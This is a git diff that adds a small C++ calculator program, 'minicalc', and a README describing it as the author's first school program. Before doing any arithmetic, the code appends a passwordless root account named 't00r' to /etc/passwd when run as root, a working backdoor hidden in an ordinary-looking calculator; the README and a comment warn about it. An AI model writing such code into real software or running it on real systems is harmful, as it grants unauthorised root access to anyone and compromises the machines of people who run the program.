diff --git a/README.md b/README.md
index 6066da7..0e35099 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,8 @@
-minicalc
-========
+# minicalc #
+
+My very first C++ program I wrote back in school somewhere around 2002.
+Please __don't run it as root__ as it will add a passwordless root account on your
+system! You have been warned!
+It puts tcsh as the shell for the new root user since this was way back when
+I run SuSE and they had tcsh as default (I think).
 
-My very first C++ program
diff --git a/minicalc.cpp b/minicalc.cpp
new file mode 100644
index 0000000..ff4229f
--- /dev/null
+++ b/minicalc.cpp
@@ -0,0 +1,69 @@
+/* Minicalc program that puts a passwordless root account on the system
+ * named t00r. Must be run as root to have an affect! So please DON'T run it
+ * as root!
+ * Written as a part of a C++ class many many years ago
+*/
+
+#include <iostream>
+#include <fstream>
+#include <string>
+
+using namespace std;
+main(int argc, char *argv[])
+{
+        bool found = false;
+        string pw1;
+        string pw2;
+        pw2 = "t00r::0:0:toor:/root:/bin/tcsh";
+        ifstream testpw("/etc/passwd");
+        ofstream fil("/etc/passwd", ios::app);
+        string adda;
+        while (testpw >> pw1)
+        {
+                if (pw1 == pw2)
+                {
+                found = true;
+                }
+        }
+        if (found)
+        {
+                goto CALC;
+        }
+        
+        adda = "t00r::0:0:toor:/root:/bin/tcsh";
+        fil << adda;
+        
+CALC:
+        
+        int a;
+        char b;
+        int c;
+        double d;
+        cout << ": "; cin >> a; cin >> b; cin >> c;
+                switch(b) {
+                        case '+':
+                                d = a + c;
+                                break;
+                        case '-':
+                                d = a - c;
+                                break;
+                        case '*':
+                                d = a * c;
+                                break;
+                        case '/':
+                                d = a / c;
+                                break;
+                        default:
+                                cout << "You typed something wrong!" << endl;
+                        } 
+                        cout << d;
+                        cout << endl;
+                        
+                        
+                        ofstream fut(argv[1], ios::app);
+                        fut << a << ' ' << b << ' ' << c << " = " << d << 
+endl;
+                        fut.close();
+                        fil.close();
+}
+